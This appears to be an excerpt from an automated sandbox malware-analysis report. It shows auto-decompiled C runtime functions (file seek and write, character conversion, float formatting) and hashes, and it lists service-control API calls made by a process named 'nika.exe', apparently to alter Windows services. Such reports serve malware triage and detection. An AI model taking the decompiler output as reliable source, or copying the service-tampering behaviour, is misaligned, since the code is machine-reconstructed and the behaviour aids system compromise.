0x0040c89d
0x0040c89f
0x0040c8a6
0x0040c8ab
0x0040c8ae
0x0040c8c0
0x0040c8c0
0x0040c8c3
0x0040c8c3
0x0040c8c8
0x0040c8cd
0x0040c8cd
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x00000000
0x0040c8cd
0x0040c8b0
0x0040c8b3
0x0040c8b6
0x00000000
0x00000000
0x0040c8b8
0x0040c8be
0x00000000
0x00000000
0x00000000
0x0040c8be
0x0040c8a1
0x0040c8a1
0x00000000
0x0040c8a1
0x0040c86d
0x0040c873
0x0040c880
0x0040c880
0x0040c882
0x00000000
0x00000000
0x0040c877
0x0040c87a
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87f
0x0040c87f
0x0040c87f
0x0040c884
0x00000000
0x0040c884
0x0040c82b
0x00000000
0x0040c82b
0x0040c7fe
0x00000000
0x0040c7fe
0x0040c80a
0x0040c80f
0x00000000
0x0040c80f
0x0040c7ce
0x0040c7d8
0x0040c7db
0x0040c7e0
0x00000000
0x00000000
0x0040c7e2
0x0040c7e4
0x0040c7e6
0x00000000
0x00000000
0x0040c7e8
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c7f2
0x0040c7f4
0x0040c7f5
0x0040c7f5
0x00000000
0x0040c7ea
0x00000000
0x0040c7ab
0x0040c79e
0x0040c75b
0x0040c760
0x0040c761
0x0040c762
0x0040c763
0x0040c764
0x0040c765
0x0040c76b
0x00000000

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}

0x00405d00
0x00405d00
0x00405d00
0x00405d01
0x00405d07
0x00405e7f
0x00405e7f
0x00405e7f
0x00405e83
0x00405d0d
0x00405d0d
0x00405d14
0x00000000
0x00405d1a
0x00405d1a
0x00405d20
0x00000000
0x00405d2f
0x00405d34
0x00405d38
0x00405dad
0x00405db0
0x00405db2
0x00405db2
0x00405db2
0x00405db5
0x00405db7
0x00000000
0x00405dbd
0x00405dbd
0x00405dc1
0x00405df8
0x00405dfb
0x00405dfd
0x00405e04
0x00405e09
0x00405e0c
0x00405e0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405dff
0x00405dff
0x00405e10
0x00405e10
0x00405e12
0x00405e73
0x00405e78
0x00405e14
0x00405e14
0x00405e18
0x00405e2e
0x00405e2e
0x00405e32
0x00405e34
0x00405e37
0x00405e38
0x00405e3c
0x00405e43
0x00405e45
0x00405e45
0x00405e43
0x00405e4c
0x00405e4e
0x00000000
0x00405e50
0x00405e50
0x00405e50
0x00405e55
0x00405e57
0x00405e59
0x00405e59
0x00405e61
0x00405e66
0x00405e69
0x00405e6b
0x00000000
0x00000000
0x00405e6d
0x00405e6f
0x00405e71
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e71
0x00000000
0x00405e50
0x00405e1a
0x00405e1f
0x00405e24
0x00405e27
0x00405e2a
0x00405e2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2c
0x00405e18
0x00405e12
0x00405dc3
0x00405dc9
0x00405dcb
0x00405dcc
0x00405dcd
0x00405dd4
0x00405ddb
0x00405ddd
0x00405de5
0x00405de7
0x00000000
0x00405ded
0x00405ded
0x00405df0
0x00405df7
0x00405df7
0x00405de7
0x00405dc1
0x00405d3a
0x00405d3c
0x00405d3e
0x00405d3e
0x00405d43
0x00405e79
0x00405e7a
0x00405e7a
0x00405e7e
0x00405d49
0x00405d4d
0x00405d77
0x00405d79
0x00405da7
0x00405dac
0x00405d7b
0x00405d80
0x00405d80
0x00405d87
0x00405d89
0x00405d89
0x00405d91
0x00405d96
0x00405d9b
0x00000000
0x00000000
0x00405da1
0x00405da5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405da5
0x00000000
0x00405d80
0x00405d4f
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00000000
0x00405d67
0x00405d6f
0x00405d74
0x00000000
0x00405d74
0x00405d61
0x00405d4d
0x00405d43
0x00405d38
0x00405d20
0x00405d14
0x00000000

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}

0x0040baaa
0x0040baba
0x0040bae0
0x00000000
0x0040bac1
0x0040bac1
0x0040bac4
0x0040bac6
0x0040bae7
0x0040baea
0x0040baec
0x00000000
0x00000000
0x0040baee
0x0040baf3
0x0040baf6
0x0040baf9
0x00000000
0x00000000
0x0040bafe
0x0040bb02
0x0040bb09
0x0040bb0c
0x0040bb0f
0x0040bb11
0x0040bb1b
0x0040bb13
0x0040bb16
0x0040bb16
0x0040bb22
0x0040bb24
0x0040bbe9
0x00000000
0x0040bb2a
0x0040bb2a
0x0040bb2d
0x0040bb2d
0x0040bb33
0x0040bb64
0x0040bb64
0x0040bb67
0x0040bbc0
0x0040bbc7
0x0040bbca
0x0040bbf5
0x0040bbf5
0x0040bbf7
0x00000000
0x0040bbfb
0x0040bbcc
0x0040bbcf
0x0040bbd2
0x0040bbd3
0x0040bbd6
0x0040bbd8
0x0040bbda
0x0040bbda
0x00000000
0x0040bbd8
0x0040bb69
0x0040bb6b
0x0040bb78
0x0040bb78
0x0040bb7c
0x0040bb7e
0x0040bb82
0x0040bb84
0x0040bb87
0x0040bb87
0x0040bb87
0x0040bb89
0x0040bb8a
0x0040bb94
0x0040bb95
0x0040bb9a
0x0040bb9d
0x0040bba0
0x0040bc03
0x0040bc03
0x0040bc07
0x00000000
0x0040bba2
0x0040bba2
0x0040bba4
0x0040bba6
0x0040bba8
0x0040bba8
0x0040bbaa
0x0040bbad
0x0040bbaf
0x0040bbb1
0x00000000
0x0040bbb3
0x0040bbb3
0x0040bbb3
0x00000000
0x0040bbb3
0x0040bbb1
0x0040bba0
0x0040bb6e
0x0040bb74
0x0040bb76
0x00000000
0x00000000
0x00000000
0x0040bb76
0x0040bb35
0x0040bb38
0x0040bb3a
0x00000000
0x00000000
0x0040bb3c
0x0040bbf1
0x0040bbf1
0x0040bbf1
0x00000000
0x0040bbf1
0x0040bb42
0x0040bb44
0x0040bb46
0x0040bb48
0x0040bb48
0x0040bb50
0x0040bb55
0x0040bb58
0x0040bb5a
0x0040bb5d
0x0040bb5f
0x00000000
0x0040bbe1
0x0040bbe1
0x0040bbe1
0x00000000
0x0040bb2a
0x0040bb24
0x0040bac8
0x0040bac8
0x0040bacd
0x0040bace
0x0040bacf
0x0040bad0
0x0040bad1
0x0040bad2
0x0040bad8
0x00000000
0x0040badd

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: 5ae6f52eb953361433d7ea32021fe6e8a7002ad97f6d3a8caf392525720eb222
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: 5ae6f52eb953361433d7ea32021fe6e8a7002ad97f6d3a8caf392525720eb222
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004152a9
0x004152b0
0x004152c7
0x00000000
0x004152b7
0x004152b9
0x004152d3
0x004152d8
0x004152db
0x004152de
0x00415307
0x0041530e
0x00415310
0x00415391
0x004153ac
0x004153ae
0x004152ee
0x004152ee
0x004152f1
0x004152f3
0x004152f6
0x004152f6
0x004152f6
0x004152f6
0x00000000
0x004152fc
0x00415370
0x00415370
0x00415375
0x0041537b
0x0041537e
0x00415380
0x00415383
0x00415383
0x00415383
0x00415383
0x00000000
0x00415387
0x00415312
0x00415315
0x0041531b
0x0041531e
0x00415345
0x00415348
0x0041534e
0x00000000
0x00000000
0x00415350
0x00415353
0x00000000
0x00000000
0x00415355
0x00415355
0x0041535b
0x0041535e
0x004152cc
0x004152cc
0x00415367
0x00000000
0x00415367
0x00415320
0x00415323
0x00000000
0x00000000
0x00415327
0x00415338
0x0041533e
0x00415340
0x00415343
0x00000000
0x00000000
0x00000000
0x00415343
0x004152e0
0x004152e3
0x004152e5
0x004152eb
0x004152eb
0x00000000
0x004152bb
0x004152bb
0x004152c0
0x004152c4
0x004152c4
0x00000000
0x004152c0
0x004152b9

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004134e0
0x004134e6
0x00413559
0x00000000
0x004134ed
0x004134ed
0x004134f0
0x0041350b
0x0041350e
0x0041352e
0x00413540
0x00413510
0x00413510
0x00413513
0x00000000
0x00413515
0x00413527
0x00413527
0x00413513
0x0041355e
0x00413562
0x004134f2
0x0041350a
0x0041350a
0x004134f0

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nika.exePID: 6128, Parent PID: 2296COMMON

Execution Graph

Execution Coverage:	31.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	25
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FFDC2EB0182 Relevance: 3.7, APIs: 2, Instructions: 654
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32 ref: 00007FFDC2EB1ACB
ChangeServiceConfigA.ADVAPI32 ref: 00007FFDC2EB1FD1

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: Service$ChangeConfigControl
String ID:
API String ID: 1778205439-0
Opcode ID: 453a6d13ce2e9233cb4bcaf714cf6e9be1dbe184984aae6c00e23145ac576d60
Instruction ID: af0a15e73bd54823b2b7ed48a40b9a8b4033cbeed52ba271f910e896d8520d31
Opcode Fuzzy Hash: 453a6d13ce2e9233cb4bcaf714cf6e9be1dbe184984aae6c00e23145ac576d60
Instruction Fuzzy Hash: E812A230A18A4D4FEB68DF2CDC567F977D0FB58311F10426EE84EC7291DA75A5818B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC2EB1A3C Relevance: 3.7, APIs: 2, Instructions: 653
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32 ref: 00007FFDC2EB1ACB
ChangeServiceConfigA.ADVAPI32 ref: 00007FFDC2EB1FD1

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: Service$ChangeConfigControl
String ID:
API String ID: 1778205439-0
Opcode ID: 4fc1805c74cf3c8e697d6d849a96eff937959df1936bbadebca52d8a5b0337b7
Instruction ID: 3e077b4685b4910094fd7d2adb799c403f09252d6b049785d485f2591ef3e0a2
Opcode Fuzzy Hash: 4fc1805c74cf3c8e697d6d849a96eff937959df1936bbadebca52d8a5b0337b7
Instruction Fuzzy Hash: 4D12A230A18A4D4FEB68DF2CDC567F977D0FB58311F10426EE84EC7291DA75A9818B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC2EB0B4C Relevance: 3.3, APIs: 2, Instructions: 329
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FFDC2EB0BFA
OpenServiceA.ADVAPI32 ref: 00007FFDC2EB0D99

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: Open$ManagerService
String ID:
API String ID: 2351955762-0
Opcode ID: e7d33875a8d63c7287acc8c0c36493c3ec10362a497c35d857f0ed22203a75c4
Instruction ID: f6462c64d29c846edbf7a97c385473c8b6a235589b8649794ee5728a46024ea4
Opcode Fuzzy Hash: e7d33875a8d63c7287acc8c0c36493c3ec10362a497c35d857f0ed22203a75c4
